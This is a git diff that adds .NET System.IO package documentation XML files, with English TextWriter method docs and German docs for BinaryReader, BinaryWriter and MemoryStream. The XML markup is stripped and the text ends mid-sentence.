1 + + + Writes the text representation of a decimal value to the text string or stream. + The decimal value to write. + The is closed. + An I/O error occurs. + 1 + + + Writes the text representation of an 8-byte floating-point value to the text string or stream. + The 8-byte floating-point value to write. + The is closed. + An I/O error occurs. + 1 + + + Writes the text representation of a 4-byte signed integer to the text string or stream. + The 4-byte signed integer to write. + The is closed. + An I/O error occurs. + 1 + + + Writes the text representation of an 8-byte signed integer to the text string or stream. + The 8-byte signed integer to write. + The is closed. + An I/O error occurs. + 1 + + + Writes the text representation of an object to the text string or stream by calling the ToString method on that object. + The object to write. + The is closed. + An I/O error occurs. + 1 + + + Writes the text representation of a 4-byte floating-point value to the text string or stream. + The 4-byte floating-point value to write. + The is closed. + An I/O error occurs. + 1 + + + Writes a string to the text string or stream. + The string to write. + The is closed. + An I/O error occurs. + 1 + + + Writes a formatted string to the text string or stream, using the same semantics as the method. + A composite format string (see Remarks). + The object to format and write. + + is null. + The is closed. + An I/O error occurs. + + is not a valid composite format string.-or- The index of a format item is less than 0 (zero), or greater than or equal to the number of objects to be formatted (which, for this method overload, is one). + 1 + + + Writes a formatted string to the text string or stream, using the same semantics as the method. + A composite format string (see Remarks). + The first object to format and write. + The second object to format and write. + + is null. + The is closed. + An I/O error occurs. + + is not a valid composite format string.-or- The index of a format item is less than 0 (zero) or greater than or equal to the number of objects to be formatted (which, for this method overload, is two). + 1 + + + Writes a formatted string to the text string or stream, using the same semantics as the method. + A composite format string (see Remarks). + The first object to format and write. + The second object to format and write. + The third object to format and write. + + is null. + The is closed. + An I/O error occurs. + + is not a valid composite format string.-or- The index of a format item is less than 0 (zero), or greater than or equal to the number of objects to be formatted (which, for this method overload, is three). + 1 + + + Writes a formatted string to the text string or stream, using the same semantics as the method. + A composite format string (see Remarks). + An object array that contains zero or more objects to format and write. + + or is null. + The is closed. + An I/O error occurs. + + is not a valid composite format string.-or- The index of a format item is less than 0 (zero), or greater than or equal to the length of the array. + 1 + + + Writes the text representation of a 4-byte unsigned integer to the text string or stream. + The 4-byte unsigned integer to write. + The is closed. + An I/O error occurs. + 1 + + + Writes the text representation of an 8-byte unsigned integer to the text string or stream. + The 8-byte unsigned integer to write. + The is closed. + An I/O error occurs. + 1 + + + Writes a character to the text string or stream asynchronously. + A task that represents the asynchronous write operation. + The character to write to the text stream. + The text writer is disposed. + The text writer is currently in use by a previous write operation. + + + Writes a character array to the text string or stream asynchronously. + A task that represents the asynchronous write operation. + The character array to write to the text stream. If is null, nothing is written. + The text writer is disposed. + The text writer is currently in use by a previous write operation. + + + Writes a subarray of characters to the text string or stream asynchronously. + A task that represents the asynchronous write operation. + The character array to write data from. + The character position in the buffer at which to start retrieving data. + The number of characters to write. + + is null. + The plus is greater than the buffer length. + + or is negative. + The text writer is disposed. + The text writer is currently in use by a previous write operation. + + + Writes a string to the text string or stream asynchronously. + A task that represents the asynchronous write operation. + The string to write. If is null, nothing is written to the text stream. + The text writer is disposed. + The text writer is currently in use by a previous write operation. + + + Writes a line terminator to the text string or stream. + The is closed. + An I/O error occurs. + 1 + + + Writes the text representation of a Boolean value followed by a line terminator to the text string or stream. + The Boolean value to write. + The is closed. + An I/O error occurs. + 1 + + + Writes a character followed by a line terminator to the text string or stream. + The character to write to the text stream. + The is closed. + An I/O error occurs. + 1 + + + Writes an array of characters followed by a line terminator to the text string or stream. + The character array from which data is read. + The is closed. + An I/O error occurs. + 1 + + + Writes a subarray of characters followed by a line terminator to the text string or stream. + The character array from which data is read. + The character position in at which to start reading data. + The maximum number of characters to write. + The buffer length minus is less than . + The parameter is null. + + or is negative. + The is closed. + An I/O error occurs. + 1 + + + Writes the text representation of a decimal value followed by a line terminator to the text string or stream. + The decimal value to write. + The is closed. + An I/O error occurs. + 1 + + + Writes the text representation of a 8-byte floating-point value followed by a line terminator to the text string or stream. + The 8-byte floating-point value to write. + The is closed. + An I/O error occurs. + 1 + + + Writes the text representation of a 4-byte signed integer followed by a line terminator to the text string or stream. + The 4-byte signed integer to write. + The is closed. + An I/O error occurs. + 1 + + + Writes the text representation of an 8-byte signed integer followed by a line terminator to the text string or stream. + The 8-byte signed integer to write. + The is closed. + An I/O error occurs. + 1 + + + Writes the text representation of an object by calling the ToString method on that object, followed by a line terminator to the text string or stream. + The object to write. If is null, only the line terminator is written. + The is closed. + An I/O error occurs. + 1 + + + Writes the text representation of a 4-byte floating-point value followed by a line terminator to the text string or stream. + The 4-byte floating-point value to write. + The is closed. + An I/O error occurs. + 1 + + + Writes a string followed by a line terminator to the text string or stream. + The string to write. If is null, only the line terminator is written. + The is closed. + An I/O error occurs. + 1 + + + Writes a formatted string and a new line to the text string or stream, using the same semantics as the method. + A composite format string (see Remarks). + The object to format and write. + + is null. + The is closed. + An I/O error occurs. + + is not a valid composite format string.-or- The index of a format item is less than 0 (zero), or greater than or equal to the number of objects to be formatted (which, for this method overload, is one). + 1 + + + Writes a formatted string and a new line to the text string or stream, using the same semantics as the method. + A composite format string (see Remarks). + The first object to format and write. + The second object to format and write. + + is null. + The is closed. + An I/O error occurs. + + is not a valid composite format string.-or- The index of a format item is less than 0 (zero), or greater than or equal to the number of objects to be formatted (which, for this method overload, is two). + 1 + + + Writes out a formatted string and a new line, using the same semantics as . + A composite format string (see Remarks). + The first object to format and write. + The second object to format and write. + The third object to format and write. + + is null. + The is closed. + An I/O error occurs. + + is not a valid composite format string.-or- The index of a format item is less than 0 (zero), or greater than or equal to the number of objects to be formatted (which, for this method overload, is three). + 1 + + + Writes out a formatted string and a new line, using the same semantics as . + A composite format string (see Remarks). + An object array that contains zero or more objects to format and write. + A string or object is passed in as null. + The is closed. + An I/O error occurs. + + is not a valid composite format string.-or- The index of a format item is less than 0 (zero), or greater than or equal to the length of the array. + 1 + + + Writes the text representation of a 4-byte unsigned integer followed by a line terminator to the text string or stream. + The 4-byte unsigned integer to write. + The is closed. + An I/O error occurs. + 1 + + + Writes the text representation of an 8-byte unsigned integer followed by a line terminator to the text string or stream. + The 8-byte unsigned integer to write. + The is closed. + An I/O error occurs. + 1 + + + Writes a line terminator asynchronously to the text string or stream. + A task that represents the asynchronous write operation. + The text writer is disposed. + The text writer is currently in use by a previous write operation. + + + Writes a character followed by a line terminator asynchronously to the text string or stream. + A task that represents the asynchronous write operation. + The character to write to the text stream. + The text writer is disposed. + The text writer is currently in use by a previous write operation. + + + Writes an array of characters followed by a line terminator asynchronously to the text string or stream. + A task that represents the asynchronous write operation. + The character array to write to the text stream. If the character array is null, only the line terminator is written. + The text writer is disposed. + The text writer is currently in use by a previous write operation. + + + Writes a subarray of characters followed by a line terminator asynchronously to the text string or stream. + A task that represents the asynchronous write operation. + The character array to write data from. + The character position in the buffer at which to start retrieving data. + The number of characters to write. + + is null. + The plus is greater than the buffer length. + + or is negative. + The text writer is disposed. + The text writer is currently in use by a previous write operation. + + + Writes a string followed by a line terminator asynchronously to the text string or stream. + A task that represents the asynchronous write operation. + The string to write. If the value is null, only a line terminator is written. + The text writer is disposed. + The text writer is currently in use by a previous write operation. + + + \ No newline at end of file diff --git a/packages/System.IO.4.3.0/ref/netcore50/de/System.IO.xml b/packages/System.IO.4.3.0/ref/netcore50/de/System.IO.xml new file mode 100644 index 0000000..ee778b2 --- /dev/null +++ b/packages/System.IO.4.3.0/ref/netcore50/de/System.IO.xml @@ -0,0 +1,2151 @@ + + + + System.IO + + + + Liest primitive Datentypen als Binärwerte in einer spezifischen Codierung. + 2 + + + Initialisiert eine neue Instanz der auf dem bereitgestellten Stream basierenden -Klasse mit einer spezifischen Stream- und Zeichencodierung unter Verwendung von UTF-8. + Der Eingabestream. + Der Stream unterstützt keine Lesevorgänge, ist null oder er wurde bereits geschlossen. + + + Initialisiert eine neue Instanz der auf dem bereitgestellten Stream basierenden -Klasse mit einer spezifischen Stream- und Zeichencodierung. + Der Eingabestream. + Die zu verwendende Zeichencodierung. + Der Stream unterstützt keine Lesevorgänge, ist null oder er wurde bereits geschlossen. + + ist null. + + + Initialisiert eine neue Instanz der -Klasse auf Grundlage des angegebenen Streams und der Zeichencodierung und lässt den Stream optional geöffnet. + Der Eingabestream. + Die zu verwendende Zeichencodierung. + true, um den Datenstrom geöffnet zu lassen, nach dem das -Objekt freigegeben wurde; andernfalls false. + Der Stream unterstützt keine Lesevorgänge, ist null oder er wurde bereits geschlossen. + + oder ist null. + + + Gewährt Zugriff auf den zugrunde liegenden Stream von . + Der BinaryReader zugeordnete, zugrunde liegende Stream. + 2 + + + Gibt alle von der aktuellen Instanz der -Klasse verwendeten Ressourcen frei. + + + Gibt die von der -Klasse verwendeten nicht verwalteten Ressourcen frei und gibt (optional) auch die verwalteten Ressourcen frei. + true, um sowohl verwaltete als auch nicht verwaltete Ressourcen freizugeben, false, um ausschließlich nicht verwaltete Ressourcen freizugeben. + + + Füllt den internen Puffer mit der angegebenen Anzahl von Bytes, die aus dem Stream gelesen wurden. + Die Anzahl der zu lesenden Bytes. + Das Ende des Streams ist erreicht, bevor gelesen werden konnte. + E/A-Fehler. + Die angeforderten überschreiten die interne Puffergröße. + + + Gibt das nächste verfügbare Zeichen zurück, ohne die Byte- oder Zeichenposition zu erhöhen. + Das nächste verfügbare Zeichen oder -1, wenn keine weiteren Zeichen verfügbar sind oder der Stream keine Suchvorgänge unterstützt. + E/A-Fehler. + Das aktuelle Zeichen kann nicht mit dem für den Stream ausgewählten in den internen Zeichenpuffer decodiert werden. + 2 + + + Liest Zeichen aus dem zugrunde liegenden Stream und erhöht die aktuelle Position im Stream in Abhängigkeit von der verwendeten Encoding und dem aus dem Stream gelesenen Zeichen. + Das nächste Zeichen aus dem Eingabestream bzw. -1, wenn derzeit keine Zeichen verfügbar sind. + E/A-Fehler. + Der Stream ist geschlossen. + 2 + + + Liest die angegebene Anzahl von Bytes beginnend bei einem angegebenen Punkt im Bytearray aus dem Stream. + Die Anzahl von Bytes, die in gelesen wurden.Diese kann kleiner sein als die Anzahl der angeforderten Bytes, wenn gegenwärtig keine entsprechende Anzahl von Bytes verfügbar ist, oder null, wenn das Ende des Streams erreicht ist. + Der Puffer, in den Daten gelesen werden sollen. + Der Anfangspunkt für das Lesen in den Puffer. + Die Anzahl der zu lesenden Bytes. + Die Länge des Puffers minus ist kleiner als . - oder - Die Anzahl der zu lesenden decodierten Zeichen ist größer als .Dies kann geschehen, wenn ein Unicode-Decoder Fallbackzeichen oder ein Ersatzzeichenpaar zurückgibt. + + ist null. + + oder ist negativ. + Der Stream ist geschlossen. + E/A-Fehler. + 2 + + + Liest die angegebene Anzahl von Zeichen beginnend bei einem angegebenen Punkt im Zeichenarray aus dem Stream. + Die Gesamtanzahl der in den Puffer gelesenen Zeichen.Diese kann kleiner sein als die Anzahl der angeforderten Zeichen, wenn gegenwärtig keine entsprechende Anzahl von Bytes verfügbar ist, oder null, wenn das Ende des Streams erreicht ist. + Der Puffer, in den Daten gelesen werden sollen. + Der Anfangspunkt für das Lesen in den Puffer. + Die Anzahl der zu lesenden Zeichen. + Die Länge des Puffers minus ist kleiner als . - oder - Die Anzahl der zu lesenden decodierten Zeichen ist größer als .Dies kann geschehen, wenn ein Unicode-Decoder Fallbackzeichen oder ein Ersatzzeichenpaar zurückgibt. + + ist null. + + oder ist negativ. + Der Stream ist geschlossen. + E/A-Fehler. + 2 + + + Liest eine 32-Bit-Ganzzahl in komprimiertem Format. + Eine 32-Bit-Ganzzahl in komprimiertem Format. + Das Ende des Streams ist erreicht. + Der Stream ist geschlossen. + E/A-Fehler. + Der Datenstrom ist beschädigt. + + + Liest einen Boolean-Wert aus dem aktuellen Stream und erhöht die aktuelle Position im Stream um 1 Byte. + true, wenn das Byte ungleich 0 (null) ist, andernfalls false. + Das Ende des Streams ist erreicht. + Der Stream ist geschlossen. + E/A-Fehler. + 2 + + + Liest das nächste Byte aus dem aktuellen Stream und erhöht die aktuelle Position im Stream um 1 Byte. + Das nächste aus dem aktuellen Stream gelesene Byte. + Das Ende des Streams ist erreicht. + Der Stream ist geschlossen. + E/A-Fehler. + 2 + + + Liest die angegebene Anzahl von Bytes aus dem aktuellen Stream in ein Bytearray und erhöht die aktuelle Position um diese Anzahl von Bytes. + Ein Bytearray mit Daten aus dem zugrunde liegenden Stream.Dies kann kleiner sein als die Anzahl der angeforderten Bytes, wenn das Ende des Streams erreicht ist. + Die Anzahl der zu lesenden Bytes.Dieser Wert muss 0 oder eine nicht negative Zahl sein; andernfalls tritt eine Ausnahme auf. + Die Anzahl der zu lesenden decodierten Zeichen ist größer als .Dies kann geschehen, wenn ein Unicode-Decoder Fallbackzeichen oder ein Ersatzzeichenpaar zurückgibt. + E/A-Fehler. + Der Stream ist geschlossen. + + ist negativ. + 2 + + + Liest das nächste Zeichen aus dem aktuellen Stream und erhöht die aktuelle Position im Stream in Abhängigkeit von der verwendeten Encoding und dem aus dem Stream gelesenen Zeichen. + Ein aus dem aktuellen Stream gelesenes Zeichen. + Das Ende des Streams ist erreicht. + Der Stream ist geschlossen. + E/A-Fehler. + Ein Ersatzzeichenzeichen wurde gelesen. + 2 + + + Liest die angegebene Anzahl von Zeichen aus dem aktuellen Stream, gibt die Daten in einem Zeichenarray zurück und erhöht die aktuelle Position in Abhängigkeit von der verwendeten Encoding und dem aus dem Stream gelesenen Zeichen. + Ein Zeichenarray mit Daten aus dem zugrunde liegenden Stream.Dies kann kleiner sein als die Anzahl der angeforderten Zeichen, wenn das Ende des Streams erreicht ist. + Die Anzahl der zu lesenden Zeichen. + Die Anzahl der zu lesenden decodierten Zeichen ist größer als .Dies kann geschehen, wenn ein Unicode-Decoder Fallbackzeichen oder ein Ersatzzeichenpaar zurückgibt. + Der Stream ist geschlossen. + E/A-Fehler. + + ist negativ. + 2 + + + Liest einen Dezimalwert aus dem aktuellen Stream und erhöht die aktuelle Position im Stream um 16 Bytes. + Ein aus dem aktuellen Stream gelesener Dezimalwert. + Das Ende des Streams ist erreicht. + Der Stream ist geschlossen. + E/A-Fehler. + 2 + + + Liest einen 8-Byte-Gleitkommawert aus dem aktuellen Stream und erhöht die aktuelle Position im Stream um 8 Bytes. + Ein aus dem aktuellen Stream gelesener 8-Byte-Gleitkommawert. + Das Ende des Streams ist erreicht. + Der Stream ist geschlossen. + E/A-Fehler. + 2 + + + Liest eine 2-Byte-Ganzzahl mit Vorzeichen aus dem aktuellen Stream und erhöht die aktuelle Position im Stream um 2 Bytes. + Eine aus dem aktuellen Stream gelesene 2-Byte-Ganzzahl mit Vorzeichen. + Das Ende des Streams ist erreicht. + Der Stream ist geschlossen. + E/A-Fehler. + 2 + + + Liest eine 4-Byte-Ganzzahl mit Vorzeichen aus dem aktuellen Stream und erhöht die aktuelle Position im Stream um 4 Bytes. + Eine aus dem aktuellen Stream gelesene 4-Byte-Ganzzahl mit Vorzeichen. + Das Ende des Streams ist erreicht. + Der Stream ist geschlossen. + E/A-Fehler. + 2 + + + Liest eine 8-Byte-Ganzzahl mit Vorzeichen aus dem aktuellen Stream und erhöht die aktuelle Position im Stream um 8 Bytes. + Eine aus dem aktuellen Stream gelesene 8-Byte-Ganzzahl mit Vorzeichen. + Das Ende des Streams ist erreicht. + Der Stream ist geschlossen. + E/A-Fehler. + 2 + + + Liest ein Byte mit Vorzeichen aus dem aktuellen Stream und erhöht die aktuelle Position im Stream um ein Byte. + Ein aus dem aktuellen Stream gelesenes Byte mit Vorzeichen. + Das Ende des Streams ist erreicht. + Der Stream ist geschlossen. + E/A-Fehler. + 2 + + + Liest einen 4-Byte-Gleitkommawert aus dem aktuellen Stream und erhöht die aktuelle Position im Stream um 4 Bytes. + Ein aus dem aktuellen Stream gelesener 4-Byte-Gleitkommawert. + Das Ende des Streams ist erreicht. + Der Stream ist geschlossen. + E/A-Fehler. + 2 + + + Liest eine Zeichenfolge aus dem aktuellen Stream.Die Zeichenfolge weist ein Präfix mit der Länge auf, die als Ganzzahl mit jeweils 7 Bits codiert ist. + Die gelesene Zeichenfolge. + Das Ende des Streams ist erreicht. + Der Stream ist geschlossen. + E/A-Fehler. + 2 + + + Liest eine 2-Byte-Ganzzahl ohne Vorzeichen mithilfe einer Little-Endian-Codierung aus dem aktuellen Stream und erhöht die aktuelle Position im Stream um 2 Bytes. + Eine aus diesem Stream gelesene 2-Byte-Ganzzahl ohne Vorzeichen. + Das Ende des Streams ist erreicht. + Der Stream ist geschlossen. + E/A-Fehler. + 2 + + + Liest eine 4-Byte-Ganzzahl ohne Vorzeichen aus dem aktuellen Stream und erhöht die Position des Streams um 4 Bytes. + Eine aus diesem Stream gelesene 4-Byte-Ganzzahl ohne Vorzeichen. + Das Ende des Streams ist erreicht. + Der Stream ist geschlossen. + E/A-Fehler. + 2 + + + Liest eine 8-Byte-Ganzzahl ohne Vorzeichen aus dem aktuellen Stream und erhöht die Position des Streams um 8 Bytes. + Eine aus diesem Stream gelesene 8-Byte-Ganzzahl ohne Vorzeichen. + Das Ende des Streams ist erreicht. + E/A-Fehler. + Der Stream ist geschlossen. + 2 + + + Schreibt primitive Typen binär in einen Stream und unterstützt das Schreiben von Zeichenfolgen in einer bestimmten Codierung. + 2 + + + Initialisiert eine neue Instanz der -Klasse zum Schreiben in einen Stream. + + + Initialisiert eine neue Instanz der auf dem spezifizierten Stream basierenden -Klasse unter Verwendung von UTF-8-Verschlüsselung. + Der Ausgabestream. + Der Stream unterstützt keine Schreibvorgänge, oder er wurde bereits geschlossen. + + ist null. + + + Initialisiert eine neue Instanz der auf den bereitgestellten Stream basierenden -Klasse mit einer spezifischen Stream- und Zeichencodierung. + Der Ausgabestream. + Die zu verwendende Zeichencodierung. + Der Stream unterstützt keine Schreibvorgänge, oder er wurde bereits geschlossen. + + oder ist null. + + + Initialisiert eine neue Instanz der -Klasse auf Grundlage des angegebenen Streams und der Zeichencodierung und lässt den Stream optional geöffnet. + Der Ausgabestream. + Die zu verwendende Zeichencodierung. + true, um den Datenstrom geöffnet zu lassen, nach dem das -Objekt freigegeben wurde; andernfalls false. + Der Stream unterstützt keine Schreibvorgänge, oder er wurde bereits geschlossen. + + oder ist null. + + + Ruft den zugrunde liegenden Stream von ab. + Der BinaryWriter zugeordnete, zugrunde liegende Stream. + 1 + + + Gibt alle von der aktuellen Instanz der -Klasse verwendeten Ressourcen frei. + + + Gibt die von verwendeten nicht verwalteten Ressourcen und optional auch die verwalteten Ressourcen frei. + true, um sowohl verwaltete als auch nicht verwaltete Ressourcen freizugeben, false, um ausschließlich nicht verwaltete Ressourcen freizugeben. + + + Löscht sämtliche Puffer für den aktuellen Writer und veranlasst die Ausgabe aller gepufferten Daten an das zugrunde liegende Gerät. + 1 + + + Gibt eine -Klasse ohne Sicherungsspeicher an. + 1 + + + Enthält den zugrunde liegenden Stream. + + + Legt die Position im aktuellen Stream fest. + Die Position im aktuellen Stream. + Ein Byteoffset im Verhältnis zu . + Ein Feld von , das den Bezugspunkt angibt, von dem aus die neue Position ermittelt werden soll. + Der Dateizeiger wurde an eine ungültige Position verschoben. + Der -Wert ist ungültig. + 1 + + + Schreibt einen 1-Byte-Boolean-Wert in den aktuellen Stream, wobei 0 (null) false und 1 true darstellt. + Der zu schreibende Boolean-Wert (0 (null) oder 1). + E/A-Fehler. + Der Stream ist geschlossen. + 1 + + + Schreibt ein Byte ohne Vorzeichen in den aktuellen Stream und erhöht die aktuelle Position im Stream um ein Byte. + Das zu schreibende Byte ohne Vorzeichen. + E/A-Fehler. + Der Stream ist geschlossen. + 1 + + + Schreibt ein Bytearray in den zugrunde liegenden Stream. + Ein Bytearray, das die zu schreibenden Daten enthält. + E/A-Fehler. + Der Stream ist geschlossen. + + ist null. + 1 + + + Schreibt einen Bereich eines Bytearrays in den aktuellen Stream. + Ein Bytearray, das die zu schreibenden Daten enthält. + Der Anfangspunkt im , an dem mit dem Schreiben begonnen wird. + Die Anzahl der zu schreibenden Bytes. + Die Länge des Puffers minus ist kleiner als . + + ist null. + + oder ist negativ. + E/A-Fehler. + Der Stream ist geschlossen. + 1 + + + Schreibt ein Unicode-Zeichen in den aktuellen Stream und erhöht die aktuelle Position im Stream in Abhängigkeit von der verwendeten Encoding und der in den Stream geschriebenen Zeichen. + Das zu schreibende Unicode-Zeichen (nicht-Ersatzzeichen). + E/A-Fehler. + Der Stream ist geschlossen. + + ist ein einzelnes Ersatzzeichen. + 1 + + + Schreibt ein Zeichenarray in den aktuellen Stream und erhöht die aktuelle Position im Stream in Abhängigkeit von der verwendeten Encoding und der in den Stream geschriebenen Zeichen. + Ein Zeichenarray mit den zu schreibenden Daten. + + ist null. + Der Stream ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt einen Bereich eines Zeichenarrays in den aktuellen Stream und erhöht die aktuelle Position im Stream in Abhängigkeit von der verwendeten Encoding und ggf. der in den Stream geschriebenen Zeichen. + Ein Zeichenarray mit den zu schreibenden Daten. + Der Anfangspunkt im , an dem mit dem Schreiben begonnen wird. + Die Anzahl der zu schreibenden Zeichen. + Die Länge des Puffers minus ist kleiner als . + + ist null. + + oder ist negativ. + E/A-Fehler. + Der Stream ist geschlossen. + 1 + + + Schreibt einen Dezimalwert in den aktuellen Stream und erhöht die Position im Stream um 16 Bytes. + Der zu schreibende Dezimalwert. + E/A-Fehler. + Der Stream ist geschlossen. + 1 + + + Schreibt einen 8-Byte-Gleitkommawert in den aktuellen Stream und erhöht die Position im Stream um 8 Bytes. + Der zu schreibende 8-Byte-Gleitkommawert. + E/A-Fehler. + Der Stream ist geschlossen. + 1 + + + Schreibt eine 2-Byte-Ganzzahl mit Vorzeichen in den aktuellen Stream und erhöht die Position im Stream um 2 Bytes. + Die zu schreibende 2-Byte-Ganzzahl mit Vorzeichen. + E/A-Fehler. + Der Stream ist geschlossen. + 1 + + + Schreibt eine 4-Byte-Ganzzahl mit Vorzeichen in den aktuellen Stream und erhöht die Position im Stream um 4 Bytes. + Die zu schreibende 4-Byte-Ganzzahl mit Vorzeichen. + E/A-Fehler. + Der Stream ist geschlossen. + 1 + + + Schreibt eine 8-Byte-Ganzzahl mit Vorzeichen in den aktuellen Stream und erhöht die Position im Stream um 8 Bytes. + Die zu schreibende 8-Byte-Ganzzahl mit Vorzeichen. + E/A-Fehler. + Der Stream ist geschlossen. + 1 + + + Schreibt ein Byte mit Vorzeichen in den aktuellen Stream und erhöht die aktuelle Position im Stream um ein Byte. + Das zu schreibende Byte mit Vorzeichen. + E/A-Fehler. + Der Stream ist geschlossen. + 1 + + + Schreibt einen 4-Byte-Gleitkommawert in den aktuellen Stream und erhöht die Position im Stream um 4 Bytes. + Der zu schreibende 4-Byte-Gleitkommawert. + E/A-Fehler. + Der Stream ist geschlossen. + 1 + + + Schreibt eine Zeichenfolge mit Längenpräfix in der aktuellen Codierung von in diesen Stream und erhöht die aktuelle Position im Stream in Abhängigkeit von der verwendeten Codierung und der in den Stream geschriebenen Zeichen. + Der zu schreibende Wert. + E/A-Fehler. + + ist null. + Der Stream ist geschlossen. + 1 + + + Schreibt eine 2-Byte-Ganzzahl ohne Vorzeichen in den aktuellen Stream und erhöht die Position im Stream um 2 Bytes. + Die zu schreibende 2-Byte-Ganzzahl ohne Vorzeichen. + E/A-Fehler. + Der Stream ist geschlossen. + 1 + + + Schreibt eine 4-Byte-Ganzzahl ohne Vorzeichen in den aktuellen Stream und erhöht die Position im Stream um 4 Bytes. + Die zu schreibende 4-Byte-Ganzzahl ohne Vorzeichen. + E/A-Fehler. + Der Stream ist geschlossen. + 1 + + + Schreibt eine 8-Byte-Ganzzahl ohne Vorzeichen in den aktuellen Stream und erhöht die Position im Stream um 8 Bytes. + Die zu schreibende 8-Byte-Ganzzahl ohne Vorzeichen. + E/A-Fehler. + Der Stream ist geschlossen. + 1 + + + Schreibt eine 32-Bit-Ganzzahl in einem komprimierten Format. + Die zu schreibende 32-Bit-Ganzzahl. + Das Ende des Streams ist erreicht. + Der Stream ist geschlossen. + Der Stream ist geschlossen. + + + Die Ausnahme, die ausgelöst wird, wenn hinter dem Ende eines Streams ein Leseversuch erfolgt. + 2 + + + Initialisiert eine neue Instanz der -Klasse, bei der die Meldungszeichenfolge auf eine vom System gelieferte Meldung und HRESULT auf COR_E_ENDOFSTREAM festgelegt ist. + + + Initialisiert eine neue Instanz der -Klasse, bei der die Nachrichtenzeichenfolge auf und HRESULT auf COR_E_ENDOFSTREAM festgelegt wurde. + Eine Zeichenfolge, die den Fehler beschreibt.Der Inhalt der soll in verständlicher Sprache gehalten sein.Der Aufrufer dieses Konstruktors muss sicherstellen, dass diese Zeichenfolge für die aktuelle Systemkultur lokalisiert wurde. + + + Initialisiert eine neue Instanz der -Klasse mit einer angegebenen Fehlermeldung und einem Verweis auf die innere Ausnahme, die diese Ausnahme ausgelöst hat. + Eine Zeichenfolge, die den Fehler beschreibt.Der Inhalt der soll in verständlicher Sprache gehalten sein.Der Aufrufer dieses Konstruktors muss sicherstellen, dass diese Zeichenfolge für die aktuelle Systemkultur lokalisiert wurde. + Die Ausnahme, die die Ursache der aktuellen Ausnahme ist.Wenn der -Parameter nicht null ist, wird die aktuelle Ausnahme in einem catch-Block ausgelöst, der die innere Ausnahme behandelt. + + + Die Ausnahme, die ausgelöst wird, wenn ein Datenstream ein ungültiges Format hat. + + + Initialisiert eine neue Instanz der -Klasse. + + + Initialisiert eine neue Instanz der -Klasse mit einer angegebenen Fehlermeldung. + Die Fehlermeldung, in der die Ursache der Ausnahme erklärt wird. + + + Initialisiert eine neue Instanz der -Klasse mit einem Verweis auf die innere Ausnahme, die die Ausnahme ausgelöst hat. + Die Fehlermeldung, in der die Ursache der Ausnahme erklärt wird. + Die Ausnahme, die die Ursache der aktuellen Ausnahme ist.Wenn der -Parameter nicht null ist, wird die aktuelle Ausnahme in einem catch-Block ausgelöst, der die innere Ausnahme behandelt. + + + Erstellt einen Stream, der den Arbeitsspeicher als Sicherungsspeicher verwendet.Um den .NET Framework-Quellcode für diesen Typ zu durchsuchen, finden Sie unter der Reference Source. + 2 + + + Initialisiert eine neue Instanz der -Klasse mit einer erweiterbaren Kapazität, die mit 0 (null) initialisiert wurde. + + + Initialisiert anhand des angegebenen Bytearrays eine neue Instanz der -Klasse, deren Größe nicht geändert werden kann. + Das Array vorzeichenloser Bytes, aus dem der aktuelle Stream erstellt werden soll. + + ist null. + + + Initialisiert anhand des angegebenen Bytearrays eine neue Instanz der -Klasse, deren Größe nicht geändert werden kann, wobei die -Eigenschaft wie angegeben festgelegt wird. + Das Array vorzeichenloser Bytes, aus dem dieser Stream erstellt werden soll. + Die Einstellung der -Eigenschaft, mit der bestimmt wird, ob der Stream Schreibvorgänge unterstützt. + + ist null. + + + Initialisiert anhand des angegebenen Bereichs (Indexes) eines Bytearrays eine neue Instanz der -Klasse, deren Größe nicht geändert werden kann. + Das Array vorzeichenloser Bytes, aus dem dieser Stream erstellt werden soll. + Der Index in , an dem der Stream beginnt. + Die Länge des Streams in Bytes. + + ist null. + + oder ist kleiner als 0. + Die Länge des Puffers minus ist kleiner als . + + + Initialisiert anhand des angegebenen Bereichs eines Bytearrays eine neue Instanz der -Klasse, deren Größe nicht geändert werden kann, wobei die -Eigenschaft wie angegeben festgelegt wurde. + Das Array vorzeichenloser Bytes, aus dem dieser Stream erstellt werden soll. + Der Index in , bei dem der Stream beginnt. + Die Länge des Streams in Bytes. + Die Einstellung der -Eigenschaft, mit der bestimmt wird, ob der Stream Schreibvorgänge unterstützt. + + ist null. + + oder ist negativ. + Die Länge des Puffers minus ist kleiner als . + + + Initialisiert eine neue Instanz der -Klasse auf der Grundlage des angegebenen Bereichs eines Bytearrays, wobei die -Eigenschaft und die Möglichkeit zum Aufruf von wie angegeben festgelegt werden. + Das Array vorzeichenloser Bytes, aus dem dieser Stream erstellt werden soll. + Der Index in , an dem der Stream beginnt. + Die Länge des Streams in Bytes. + Die Einstellung der -Eigenschaft, mit der bestimmt wird, ob der Stream Schreibvorgänge unterstützt. + true, um zu aktivieren, wodurch das Array vorzeichenloser Bytes zurückgegeben wird, aus dem der Stream erstellt wurde, andernfalls false. + + ist null. + + oder ist negativ. + Die Länge des Puffers minus ist kleiner als . + + + Initialisiert eine neue Instanz der -Klasse mit einer erweiterbaren Kapazität, die mit dem angegebenen Wert initialisiert wird. + Die Anfangsgröße des internen Arrays in Bytes. + + ist negativ. + + + Ruft einen Wert ab, der angibt, ob der aktuelle Stream Lesevorgänge unterstützt. + true, wenn der Stream geöffnet ist. + 2 + + + Ruft einen Wert ab, der angibt, ob der aktuelle Stream Suchvorgänge unterstützt. + true, wenn der Stream geöffnet ist. + 2 + + + Ruft einen Wert ab, der angibt, ob der aktuelle Stream Schreibvorgänge unterstützt. + true, wenn der Stream Schreibvorgänge unterstützt, andernfalls false. + 2 + + + Ruft die Anzahl der für diesen Stream reservierten Bytes ab oder legt diese fest. + Die Länge des Bereichs, der für den Stream im Puffer verwendet werden kann. + Es wurde eine Kapazität festgelegt, die negativ oder kleiner als die derzeitige Länge des Streams ist. + Der aktuelle Stream ist geschlossen. + set wird für einen Stream aufgerufen, dessen Kapazität nicht geändert werden kann. + 2 + + + Liest alle Bytes asynchron aus dem aktuellen Stream und schreibt sie unter Verwendung einer angegebenen Puffergröße und eines Abbruchtokens in einen anderen Stream. + Eine Aufgabe, die den asynchronen Kopiervorgang darstellt. + Der Stream, in den der Inhalt des aktuellen Stream kopiert wird. + Die Größe des Cookies in Bytes.Dieser Wert muss größer als 0 sein. + Das Token zum überwachen von Abbruchanforderungen . + + ist null. + + ist negativ oder 0 (null). + Entweder der aktuelle Stream oder der Zielstream wird freigegeben. + Der aktuelle Stream unterstützt kein Lesen oder Zielstream unterstützt keine Schreibvorgänge. + + + Gibt die von der -Klasse verwendeten nicht verwalteten Ressourcen frei und gibt (optional) auch die verwalteten Ressourcen frei. + true, um sowohl verwaltete als auch nicht verwaltete Ressourcen freizugeben, false, um 